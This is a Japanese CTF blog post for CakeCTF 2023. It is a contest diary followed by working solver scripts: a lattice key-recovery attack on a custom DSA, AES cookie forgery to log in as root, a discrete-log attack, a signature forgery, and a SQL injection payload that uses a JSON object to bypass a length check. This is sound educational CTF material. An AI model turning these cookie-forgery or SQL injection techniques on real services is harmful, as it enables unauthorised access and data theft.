CakeCTF 2023 参戦記+lightなwriteup

1. はじめに

　2023/11/11（土）14:00 JST ～ 11/12（日）14:00 JST に開催された「CakeCTF 2023」にチーム「N30Z30N」で参加しました。

　Cake CTF はチーム「insecure」により運営される大会で、「InterKosenCTF」をその由緒としています。「カジュアルな CTF」を掲げていますが、「むしろレーティングするべきでは？」という声が随所で聞かれるほど良問が揃っていることで有名です。

　実際、この大会に出ると（問題が解けなくても）不思議と元気が出てきます*1。

　今回、TSG CTF 2023 から「中 6 日での登坂」でしたが、Warmup + Survey を除き 5問 を解いて 960pts（38th / 729 teams）を獲得しました。InterKosenCTF の頃から毎度下位に甘んじていたのですが、今回は少しマシ*2になったような気がします。

2. 参戦準備（脳内作戦会議）

　昨年は whole cake を準備して意気込んでからの「ケーキ全完でほぼ虚無」*3をやらかしたので、今年は「競技中はケーキ抜き」で臨みました。

　CakeCTF では「超自明な問題」は皆無ですが、「手ごたえがあるけど頑張れば解ける問題」*4はある程度出ることが予想されたため、目標は「Crypto 全完、他分野は Warmup + 1 完以上」に設定。

　また、競技時間は TSG CTF 2023 よりも 2 時間早いスタートなので、2 日目に時間切れで泣く可能性が高いと考え、食事や睡眠の時間配分やタイミングを調整することにしました。 　

3. 参戦状況

• 11/11 10:40(JST) 頃　TSC CTF 2023 参戦記投稿*5。体力消耗が激しい。
• 11/11 12:00(JST) 頃　昼食（おにぎりセット＋サラダ＋ゲン担ぎのカツ）。*6
• 11/11 12:55(JST) 頃　食い過ぎて眠くなったのでお昼寝タイム。
• 11/11 13:55(JST) 頃　目覚ましで飛び起きる。
• 11/11 14:00(JST) 競技開始。
• 11/11 14:05(JST) 頃　「Welcome」フラグゲット。
• 11/11 15:30(JST) 頃　やや苦戦しながら「simple signature」フラグゲット。
• 11/11 16:00(JST) 頃　「janken vs yoshiking 2」に着手*7。
• 11/11 17:40(JST) 頃　「Iron Door」、LLL を使うお気持ちになる*8。
• 11/11 18:00(JST) 頃　名探偵コナン視聴（プレイは続行）。
• 11/11 19:00(JST) 頃　夕食。昼の反省から腹八分目に。
• 11/11 20:00(JST) 頃　休憩タイム。
• 11/11 20:10(JST) 頃　「janken vs yoshiking 2」、行列式でいいじゃん、と思い立って休憩終了。
• 11/11 21:35(JST) 頃　「janken vs yoshiking 2」フラグゲット。
• 11/12 00:25(JST) 頃　「ding-dong-ting-ping」フラグゲット。「リポＤプレミアム」をキメる。
• 11/12 00:35(JST) 頃　「Country DB」フラグゲット。眠気が限界に。
• 11/12 01:10(JST) 頃　「Survey」フラグゲット。
• 11/12 02:00(JST) 頃　「Iron Door」の解法を考えながら就寝。
• 11/12 07:30(JST) 頃　起床。「Iron Door」の続きを始める。LLL の行列作るの苦手すぎ。
• 11/12 09:00(JST) 頃　遅めの朝食*9。エネルギーは十分補給。
• 11/12 10:00(JST) 頃　「Iron Door」、一部の値が算出できそうな兆候が見られる。
• 11/12 12:00(JST) 頃　もぐもぐタイム（昼食）にしたいが、テスト環境でそこそこ刺さった「Iron Door」の exploit が本番で刺さらないので昼食は後回しとする。
• 11/12 13:00(JST) 頃　残り 1 時間で気持ちに焦りが生じるもどうにか耐える。
• 11/12 13:20(JST) 頃　どうにか「Iron Door」フラグゲット。思わず玄関から飛び出して「エウレカ」と叫びそうになった*10が近所から通報されるとシャレにならないので思い留まる。
• 11/12 14:00(JST) 競技終了。
• 11/13 00:00(JST) もぐもぐタイムその1。チームinsecureへのリスペクト。
• 11/14 21:30(JST) もぐもぐタイムその2。スポンサー参加＋プレイヤー参加をした自分へのご褒美。

4. 感想（お気持ち）

　ほとんど Crypto しかやっていませんが、いつもながらの「やりがいのある問題」を楽しめました。

　例年 Crypto も半分以上「食べ残して」いたのですが、今年は「pure な crypto問」は完食できました*11。

　特に、時間内にどうにか Iron Door が解けて嬉しかった、というかホッとしました*12。

5. Writeup（簡易）

　「エレガント」に解けた感は全くないので、Writeup は簡単な紹介のみに留めることとし、得点が多かった（Solve 数が少ない）順に紹介します（※ Welcome と Survey は除く）。 　　

5.1. Iron Door（304 pts, 8 solved）

設問

　以下のスクリプトと、接続先*13が提供されます。

「Server.py」

from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets
import signal


def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16)

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16)

# curl https://2ton.com.au/getprimes/random/2048

assert isPrime(p)
assert isPrime(q)

g = 3
flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}")
x = getRandomRange(0, q)
y = pow(g, x, p)
salt = secrets.token_bytes(16)


def sign(m: bytes):
    z = h1(m)
    k = inverse(h2(long_to_bytes(x + z)), q)
    r = h2(long_to_bytes(pow(g, k, p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s


def verify(m: bytes, r: int, s: int):
    z = h1(m)
    sinv = inverse(s, q)
    gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
    r2 = h2(long_to_bytes(gk))
    return r == r2

# integrity check
r, s = sign(salt)
assert verify(salt, r, s)

signal.alarm(1000)


print("salt =", salt.hex())
print("p =", p)
print("g =", g)
print("y =", y)

while True:
    choice = input("[s]ign or [v]erify:").strip()
    if choice == "s":
        print("=== sign ===")
        m = input("m = ").strip().encode()
        if b"goma" in m:
            exit()

        r, s = sign(m + salt)
        # print("r =", r) #  do you really need?
        print("s =", s)

    elif choice == "v":
        print("=== verify ===")
        m = input("m = ").strip().encode()
        r = int(input("r = "))
        s = int(input("s = "))
        assert 0 < r < q
        assert 0 < s < q

        ok = verify(m + salt, r, s)
        if ok and m == b"hirake goma":
            print(flag)
        elif ok:
            print("OK")
            exit()
        else:
            print("NG")
            exit()

    else:
        exit()

検討

　見かけ上は、前回の CakeCTF 2022 で出題された「Rock Door」のオマージュ問っぽい問題で、「Lunatic」タグが付いていなかったものの、今回のボス問と考えられる問題です。

　「Rock Door」と同じく「普通の DSA」とは異なる点があり、そこが解法への入り口となることは想像に難くありません。しかし、問題文では「鉄は岩よりも固し」と主張してきます。

　これらに鑑み、以下の点に着目する必要がありそうです。

• z が 160bit 程度と極端に小さい。
• kの逆元（以下、k_inv）が 200bit程度と小さい。
• r も 200bit 程度と小さい。

　また「Rock Door」との相違点としては、

• 署名の際には必ず salt が付く。
• 同じ秘密鍵（x）と salt で署名を複数回実行できる。

という点がありました。このことから、問題を解くためには複数回署名を実行する必要があるものと推測できます*14。

解法

　x の値が大きく、「Rook Door」と同じ手は使えません。しかし、小さい未知数があるというところからは「LLL のニオイ」が感じ取れます。

　LLL を使うには大きな x は「邪魔」なので、2 つの異なる平文から署名を作成し、未知数から x を消去することを考えます。

　そのようにして立式した関係式は未知数がすべて小さい 1 次方程式に変形できるので、うまくいきそうな気がしてきます。

　具体的には、

• t1:= r1 * k1_inv, t2:= r2 * k2_inv
• l12 := t1 * k2_inv, l21 := t2* k1_inv

とすると前者は約 400bit、後者は約 600bit なので法 q（2048bit）よりかなり小さく、LLL でどうにか出そうな感じがしてきます。

　テストプログラムを作成した結果、失敗するケースがあるものの、何回かに 1 回は t1、t2 がちゃんと求められるので、強行することにしました*15。

　ここ最近この手の問題は無理っぽいと捨てていたのですが、今回は初手からあきらめず、テストプログラムを作ってどうすれば解けそうか試してみたのが功を奏したようです。「望みを捨てなかった者にのみ、道は開ける」というのは某大河ドラマ*16からの学びです。

　l12, l21 の算出は無理して行わず、関係式に t1, t2 を代入した後 k1_inv, k2_inv の算出を「defund-coppersmith*17」で行うことで道が開けました。

ソルバ（SageMath）

「solve.sage」 ※前述したとおり、必ず刺さるものではなく、模範解たり得ないと考えられます。

from Crypto.Util.number import *
from hashlib import sha256
import gmpy2
import telnetlib

# from https://github.com/defund/coppersmith/blob/master/coppersmith.sage 
import itertools

def small_roots(f, bounds, m=1, d=None):
  if not d:
    d = f.degree()

  R = f.base_ring()
  N = R.cardinality()
  
  f /= f.coefficients().pop(0)
  f = f.change_ring(ZZ)

  G = Sequence([], f.parent())
  for i in range(m+1):
    base = N^(m-i) * f^i
    for shifts in itertools.product(range(d), repeat=f.nvariables()):
      g = base * prod(map(power, f.variables(), shifts))
      G.append(g)

  B, monomials = G.coefficient_matrix()
  monomials = vector(monomials)

  factors = [monomial(*bounds) for monomial in monomials]
  for i, factor in enumerate(factors):
    B.rescale_col(i, factor)

  B = B.dense_matrix().LLL()

  B = B.change_ring(QQ)
  for i, factor in enumerate(factors):
    B.rescale_col(i, 1/factor)

  H = Sequence([], f.parent().change_ring(QQ))
  for h in filter(None, B*monomials):
    H.append(h)
    I = H.ideal()
    if I.dimension() == -1:
      H.pop()
    elif I.dimension() == 0:
      roots = []
      for root in I.variety(ring=ZZ):
        root = tuple(R(root[var]) for var in f.variables())
        roots.append(root)
      return roots

  return []
######################################################################

q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16)

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16)

def sign(m: bytes, x):
    z = h1(m)
    k = inverse(h2(long_to_bytes(x + z)), q)
    r = h2(long_to_bytes(pow(g, int(k), p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s

PR.<u1,u2> = PolynomialRing(Zmod(q))
bounds = (2**200,2**200)

HOST = <redacted>
PORT = <redacted>
tn = telnetlib.Telnet(HOST, PORT)

salt_hex = readline().decode().strip().replace("salt =","")
for _ in range(3):
  exec(readline())
print(f"salt = {salt_hex}")
print(f"p = {p}")
print(f"g = {g}")
print(f"y = {y}")

bsalt = bytes.fromhex(salt_hex)
print(f"salt = {bsalt}")

m = "hirake goma"
z = h1(m.encode()+bsalt)

m1 = "test1" 
z1 = h1(m1.encode()+bsalt)
m2 = "test2"
z2 = h1(m2.encode()+bsalt)

# sign m1
readuntil("[s]ign or [v]erify:")
sendline("s")
readline()
readuntil("m = ")
sendline(m1)
tmp = readline()
print(tmp)
exec(tmp)
s1 = int(s)
print(f"s1 = {s1}")

# sign m2
readuntil("[s]ign or [v]erify:")
sendline("s")
readline()
readuntil("m = ")
sendline(m2)
tmp = readline()
print(tmp)
exec(tmp)
s2 = int(s)
print(f"s2 = {s2}")

# leak t1 = r1*k_inv1, t2 = r2*k_inv2
w1 = 2**200
w2 = 2**600
M = [
     [w1,  0, 0, 0,  s2*w2],
     [ 0, w1, 0, 0, -s1*w2],
     [ 0,  0, 1, 0, -z2*w2],
     [ 0,  0, 0, 1,  z1*w2],
     [ 0,  0, 0, 0,   q*w2]
]

L = Matrix(M).LLL()

for row in L:
  if row[4]==0:
    t1 = abs(row[0]//w1)
    t2 = abs(row[1]//w1)
    if 390 <= int(t1).bit_length() <= 400 and 390 <= int(t2).bit_length() <= 400:
      print("t1:", t1)
      print("t2:", t2)
      f = PR(t1*s2 - t2*s1 - t1*u2*z2 + t2*z1*u1)
      roots = small_roots(f, bounds, d=2, m=4)
      k_inv1 = int(roots[0][0])
      k_inv2 = int(roots[0][1])
      x1 = inverse(int(t1),q) * (s1 - z1*k_inv1) % q
      x2 = inverse(int(t2),q) * (s2 - z2*k_inv2) % q
      assert x1 == x2
      x = int(x1)
      break

r, s = sign(m.encode()+bsalt, int(x))

readuntil("[s]ign or [v]erify:")
sendline("v")
readline()
readuntil("m = ")
sendline(m)
readuntil("r = ")
sendline(str(r))
readuntil("s = ")
sendline(str(s))
print(readline())
tn.close()

フラグ

CakeCTF{im_r3a11y_afraid_0f_truncating_hash_dig3st_13ading_unint3nd3d}

5.2. ding-dong-ting-ping（220 pts, 17 solved）

設問

　以下のサーバプログラム（と接続先）が示されます。

「server.py」

import os
from base64 import b64decode, b64encode
from hashlib import md5
from datetime import datetime
from Crypto.Cipher import AES

FLAG = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")
PREFIX = os.environ.get("PREFIX", "cake").encode()

KEY = os.urandom(16)
IV = os.urandom(16)
aes = AES.new(KEY, AES.MODE_ECB)

xor = lambda a, b: bytes([x^y for x, y in zip(a, b)])

def pad(data: bytes):
    l = 16 - len(data) % 16
    return data + bytes([l]*l)

def unpad(data: bytes):
    return data[:-data[-1]]

def encrypt(plain: bytes):
    plain = pad(plain)
    blocks = [plain[i:i+16] for i in range(0, len(plain), 16)]
    ciphers = [IV]
    for block in blocks:
        block = xor(block, md5(ciphers[-1]).digest())
        ciphers.append(aes.encrypt(block))
    return b"".join(ciphers)

def decrypt(cipher: bytes):
    blocks = [cipher[i:i+16] for i in range(0, len(cipher), 16)]
    h = md5(blocks[0]).digest() # IV
    plains = []
    for block in blocks[1:]:
        plains.append(xor(aes.decrypt(block), h))
        h = md5(block).digest()
    return unpad(b"".join(plains))    

def register():
    username = b64decode(input("username(base64): ").strip())
    if b"root" in username:
        print("Cannot register as root user!")
    else:
        cookie = b"|".join([PREFIX, b"user="+username, str(datetime.now()).encode()])
        cookie = encrypt(cookie)
        cookie = b64encode(cookie)
        print("your cookie =>", cookie.decode())
    return

def login():
    cookie = input("cookie: ").strip()
    cookie = decrypt(b64decode(cookie))
    data = cookie.split(b"|")
    if (data[0] == PREFIX) and data[1].startswith(b"user="):
        username = data[1].split(b"=")[1]
        time = data[2]
    else:
        print("Authentication unsuccessful...")
        return
    print(f"Hi, {username.decode()}! [registered at {time.decode()}]")
    if username != b"root":
        print("You're not the root user...")
    else:
        print("Ding-Dong, Ding-Dong, Welcome, root. The ultimate authority has logged in.")
        print("This is for you => ", FLAG)
    return

while True:
    print("===== MENU =====")
    choice = int(input("[1]register [2]login: ").strip())
    if choice == 1:
        register()
    elif choice == 2:
        login()
    else:
        print("Invalid choice")
    print()

検討

　プレイヤーが使うことができるサーバの機能は「登録」と「ログイン」です。

　「登録」では、入力されたユーザ名をもとに Cookie が生成され、Base64 encodeした形で返されます。制約として、ユーザ名に「root」を含むことはできません。

　「ログイン」では Cookie を送信し、条件を満たしていれば認証成功となりあす。ユーザ名として解釈される部分が「root」であれば、フラグが得られます。

　この手の問題の解法としては、Cookie の改ざんが主流です。暗号化のモードがほぼ CBC *18なので、よく知られている CBC モードへの攻撃と同じような手法が使えそうな気がしてきます。

　着眼点としては、ユーザ名として送信するデータのチェックが甘く、例えば区切り文字として使われる「|」を送信できるところに気を付けておきます。

　また、ネックとなるのが「PREFIX」の存在ですが、長さを推定することはできそうです。

解法・ソルバ

　最初に、PREFIXの長さを算出しました。

「test.py」

import telnetlib
import base64

HOST = <redacted>
PORT = <redacted>

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

tn = telnetlib.Telnet(HOST, PORT)

def register(name_b64):
  readline()
  readuntil("[1]register [2]login: ")
  sendline("1")
  readuntil("username(base64):")
  sendline(name_b64.decode())
  cookie = readline().strip().decode().replace("your cookie => ","")
  readline()
  return cookie

prev = ""
for i in range(16):
  name = "A" * (i+1)
  cookie = register(base64.b64encode(name.encode()))
  current = base64.b64decode(cookie.encode())[32:48]
  if current == prev:
    print("Length is" i+9)
    break
  prev = current
tn.close()

　PREFIX の長さは 17byte で、はみ出しているのが 1byte なので余裕で総当たりできます。ソルバは以下です。

「solve.py」

import telnetlib
import base64
from hashlib import md5

HOST = <redacted>
PORT = <redacted>

xor = lambda a, b: bytes([x^y for x, y in zip(a, b)])

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

def register(name_b64):
  readline()
  readuntil("[1]register [2]login: ")
  sendline("1")
  readuntil("username(base64):")
  sendline(name_b64.decode())
  cookie = readline().strip().decode().replace("your cookie => ","")
  readline()
  return cookie

def login(cookie):
  readline()
  readuntil("[1]register [2]login: ")
  sendline("2")
  readuntil("cookie: ")
  sendline(cookie.decode())
  print(readline())
  print(readline())
  print(readline())

tn = telnetlib.Telnet(HOST, PORT)

name = "test|===|"
cookie = register(base64.b64encode(name.encode()))
print(f"original_cookie:{cookie}")
ct = base64.b64decode(cookie.encode())
ct1 = ct[16:32]
ct2 = ct[32:48]
magic = xor(md5(ct1).digest(), md5(ct2).digest())

for x in range(0x100):
  if x == ord("|"):
    continue
  tail_of_prefix = chr(x)
  xname = (tail_of_prefix + "|user=" + name).encode()
  assert len(xname) == 16
  _cookie = register(base64.b64encode(name.encode() + xor(magic, xname)))
  _ct = base64.b64decode(_cookie.encode())
  _ct1 = _ct[16:32]
  _ct2 = _ct[32:48]
  _ct3 = _ct[48:64]
  print(f"x = {x}, _ct1:{_ct1.hex()}, _ct2:{_ct2.hex()}, _ct2:{_ct3.hex()}")
  if _ct2 == _ct3:
    print("tail of prefix leaked!!", tail_of_prefix)
    break

rootleak_name = (tail_of_prefix + "|user=root|===|").encode()
rootleak_cookie = register(base64.b64encode(name.encode() + xor(magic,rootleak_name)))
rootleak_ct = base64.b64decode(rootleak_cookie.encode())
print(f"ct1:{rootleak_ct[16:32].hex()}, ct2:{rootleak_ct[32:48].hex()}, ct3:{rootleak_ct[48:64].hex()}")
exploit_cookie = base64.b64encode(ct[0:32] + rootleak_ct[48:])
login(exploit_cookie)

tn.close()

フラグ

CakeCTF{dongdingdongding-dingdong-dongdingdong-ding}

5.3. janken vs yoshiking（144 pts, 43 solved）

設問

　以下のサーバプログラム（と接続先）が示されます。

import random
import signal
import os

HANDNAMES = {
    1: "Rock",
    2: "Scissors",
    3: "Paper"
}

def commit(M, m):
    while True:
        r = random.randint(2, 2**256)
        if r % 3 + 1 == m:
            break
    return M**r, r


signal.alarm(1000)

flag = os.environ.get("FLAG", "neko{old_yoshiking_never_die,simply_fade_away}")
p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111
M = random_matrix(GF(p), 5)
print("[yoshiking]: Hello! Let's play Janken(RPS)")
print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list()))

round = 0
wins = 0
while True:
    round += 1
    print("[system]: ROUND {}".format(round))

    yoshiking_hand = random.randint(1, 3)
    C, r = commit(M, yoshiking_hand)
    print("[yoshiking]: my commitment is={}".format(C.list()))

    hand = input("[system]: your hand(1-3): ")
    print("")
    try:
        hand = int(hand)
        if not (1 <= hand <= 3):
            raise ValueError()
    except ValueError:
        print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(")
        exit()

    print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand]))
    print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand]))
    result = (yoshiking_hand - hand + 3) % 3
    if result == 0:
        print("[yoshiking]: Draw, draw, draw!!!")
        print("[yoshiking]: I'm only respect to win!")
        print("[system]: you can check that yoshiking doesn't cheat")
        print("[system]: here's the secret value: {}".format(r))
        exit()
    elif result == 1:
        print("[yoshiking]: Yo! You win!!! Ho!")
        wins += 1
        print("[system]: wins: {}".format(wins))

        if wins >= 100:
            break
    elif result == 2:
        print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!")
        print("[yoshiking]: You, good loser!")
        print("[system]: you can check that yoshiking doesn't cheat")
        print("[system]: here's the secret value: {}".format(r))
        exit()

print("[yoshiking]: Wow! You are the king of roshambo!")
print("[yoshiking]: suge- flag ageru")
print(flag)

検討

　行列の DLP は order の計算がしんどく、時間内に終わりそうにありません。しばらくの間虚無っていました。

　しかし時を経て、行列式で考えれば問題は解決しそうなことに気づきました。

　しかも、なんとな～く p-1 を Factor DBに投げてみると、めっちゃ smooth（素因数はどれも 1000 以下）なのが分かりました。

　これは、行けそうです！

解法・ソルバ

「solve.sage」

from Crypto.Util.number import *
import gmpy2
import telnetlib

p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111
F = GF(p)

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

def list2mat(lst):
  M = matrix(F,5,5)
  for i in range(25):
    M[i%5, i//5] = lst[i]
  return M

def choose_hand(yhand):
  # (yoshiking_hand - hand + 3) % 3 == 1
  myhand = (yhand  - 2) % 3 + 1
  return myhand

HOST = <redacted>
PORT = <redacted>
tn = telnetlib.Telnet(HOST, PORT)

readline()
p, _M = readline().decode().strip().replace("[yoshiking]: Here is p: ", "").split(", and M: ")
p = eval(p)
print(f"_M = {_M}")
M = list2mat(list(eval(_M)))
print(f"p = {p}")
#print(f"M = {M}")
g = F(det(M))
print(f"g={g}")

for i in range(100):
  readline()
  Mr = list2mat(list(eval(readline().decode().strip().replace("[yoshiking]: my commitment is=", ""))))
  a = F(det(Mr))
  print(f"a={a}")
  d = int(a.log(g))
  print(f"d={d}")
  yoshikings_hand = d % 3 + 1
  myhand = choose_hand(yoshikings_hand)
  readuntil("[system]: your hand(1-3): ")
  sendline(str(myhand))
  for _ in range(5):
    readline()

for _ in range(3):
  print(readline())
tn.close()

フラグ

CakeCTF{though_yoshiking_may_die_janken_will_never_perish}

5.4. simple signature（105 pts, 88 solved）

設問

　以下のサーバプログラム（と接続先）が示されます。

「server.py」

import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
    while True:
        x = getRandomRange(2, p-1)
        y = getRandomRange(2, p-1)
        w = getRandomRange(2, p-1)

        v = w * y % (p-1)
        if GCD(v, p-1) != 1:
            continue
        u = (w * x - 1) * inverse(v, p-1) % (p-1)
        return (x, y, u), (w, v)


def sign(m, key):
    x, y, u = key
    r = getRandomRange(2, p-1)

    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)


def verify(m, sig, key):
    w, v = key
    s, t = sig

    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == '__main__':
    magic_word = "cake_does_not_eat_cat"
    skey, vkey = keygen()

    print(f"p = {p}")
    print(f"g = {g}")
    print(f"vkey = {vkey}")

    signal.alarm(1000)

    while True:
        choice = input("[S]ign, [V]erify: ").strip()
        if choice == "S":
            message = input("message: ").strip()
            assert message != magic_word

            sig = sign(h(message), skey)
            print(f"(s, t) = {sig}")

        elif choice == "V":
            message = input("message: ").strip()
            s = int(input("s: ").strip())
            t = int(input("t: ").strip())

            assert 2 <= s < p
            assert 2 <= t < p

            if not verify(h(message), (s, t), vkey):
                print("invalid signature")
                continue

            print("verified")
            if message == magic_word:
                print(f"flag = {flag}")
                sys.exit(0)

        else:
            break

検討

　x, y, u, m を固定したとき、任意の r について s(r) = pow(g, x*m + r*y, p), t(r) = pow(g, u*m + r, p) は verify を通過できます。

　ですので未知数 x が居なくなるよう r = 1 - u*m とすれば、s = pow(g, inverse(w,p-1)*m+y, p)、 t = 2 ですが、これも当然 verify を通過します。

解法・ソルバ

「solve.py」

from Crypto.Util.number import *
from hashlib import sha512
import gmpy2
import telnetlib

HOST = <redacted>
PORT = <redacted>

def readline():
    return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(to_send):
    if to_send[-1] != '\n':
      to_send += '\n'
    tn.write(to_send.encode())
    print(f"+sendline: {to_send}")
    return True

tn = telnetlib.Telnet(HOST, PORT)

message = "cake_does_not_eat_cat"
m = int(sha512(message.encode()).hexdigest(), 16)

for _ in range(3):
  exec(readline())

w,v = vkey
y = v * inverse(w,p-1) % (p-1)
s = pow(g, (inverse(w,p-1)*m + y) % (p-1), p)
t = 2

readuntil("[S]ign, [V]erify: ")
sendline("V")
readuntil("message: ")
sendline(message)
readuntil("s: ")
sendline(str(s))
readuntil("t: ")
sendline(str(t))
print(readline())
print(readline())
tn.close()

フラグ

CakeCTF{does_yoshiking_eat_cake_or_cat?}

5.5. simple signature（68 pts, 246 solved）

設問

サーバ側のファイルセット（と接続先URL）が提供されます。

「app.py」

#!/usr/bin/env python3
import flask
import sqlite3

app = flask.Flask(__name__)

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    return flask.render_template("index.html")

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

if __name__ == '__main__':
    app.run(debug=True)

「initdb.py」

import sqlite3
import os

FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
  code TEXT NOT NULL,
  name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

# Country list from https://gist.github.com/vxnick/380904
countries = [
    ('AF', 'Afghanistan'),

    ＜中略＞

    ('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)

conn.commit()
conn.close()

検討

　SQL injection の脆弱性がありそうです。

　len(code) == 2 のチェックがあるので、文字列ではだめそうです。

　しかし、オブジェクトであれば長さを 2 にでき、しかもいい感じの SQLi のexploit を仕立てることができます*19。

解法・ソルバ

「solve.py」

import requests
url = "http://<redacted>/api/search"
to_send = {"code":{"') UNION SELECT flag from flag--":2,3:4}}
code = to_send['code']
headers = {"content-type":"application/json"}
res = requests.post(url=url, headers=headers, json=to_send)
print(res.text)

フラグ

CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}

*1:そんなこんなで2022 年の大会からスポンサーとしても協力させていただいております。

*2:「ボス問」や、長年あちこちで負け続けていた「vs yoshiking」を倒せたのは正直かなり嬉しかったです。

*3:解けたのは Crypto の Warmup + 1 問だけでした。

*4:自分が解けるとは言ってません。言ってません。

*5:結果的に、これが良い Warm up になったっぽいです。

*6:明らかに食い過ぎ。

*7:しばらくの間、行列の乗法 order を計算しようとして虚無ってました。

*8:とりあえずdefund-coppersmithで雑に試すも失敗。

*9:CTF終了直後に昼食とするため。

*10:良質な問題が揃った CTF で Solve 数の少ない「ボス問」を解いたのはおそらくこれが初めてです。

*11:pwnのタグが付いた「decryptyou」は残してしまいました。

*12:但し後述のとおり、解き方には疑問が残ります。

*13:ここでは省略します。

*14:もちろんミスリードの可能性も皆無はないことは承知の上です。

*15:後で試してみたところ、4～5 回に 1 回程度の割合で成功するようです。おそらく行列の作りがおかしいと思われるので、他の方の Writeup で復習しようと思います。

*16:「真田丸」です。

*17:see https://github.com/defund/coppersmith/blob/master/coppersmith.sage .

*18:md5 していますが、本質的には変わらず。

*19:前週に開催された TSG CTF の復習が役に立ちました。